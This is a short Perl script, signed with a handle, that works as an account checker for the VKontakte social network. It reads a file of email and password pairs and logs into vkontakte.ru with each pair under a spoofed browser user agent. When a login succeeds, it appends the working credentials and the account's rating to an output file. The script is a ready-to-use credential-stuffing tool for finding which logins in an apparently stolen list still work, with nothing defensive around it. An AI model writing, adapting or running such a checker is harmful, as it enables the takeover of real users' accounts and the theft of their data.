#!/usr/bin/perl -w
# by [dei]
########
$acs = 'acs.txt';
$rate = 'rate.txt';
########
use LWP::UserAgent;

open ACS, '<', $acs || die "$!\n";
open R, '>>', $rate || die "$!\n";

while (<ACS>) {
    my($e,$p) = split /;/, $_;
    $p =~ s/[\r\n]//g;
    
    my $ua = LWP::UserAgent->new();
    $ua->cookie_jar( {} );
    $ua->agent('Opera/9.63 (Windows NT 6.0; U; ru) Presto/2.1.1');
    push @{ $ua->requests_redirectable }, 'POST';
    $result = $ua->post('http://vkontakte.ru/login.php', [email => $e, pass  => $p]);
    if($result->content =~ /<div.*?url\(images\/silver\.gif\).*?>.*?<b>(.*?)<\/b>.*?<\/div>/s) {
        print R $e.":".$p.":rate=+".$1."\n";
    }
}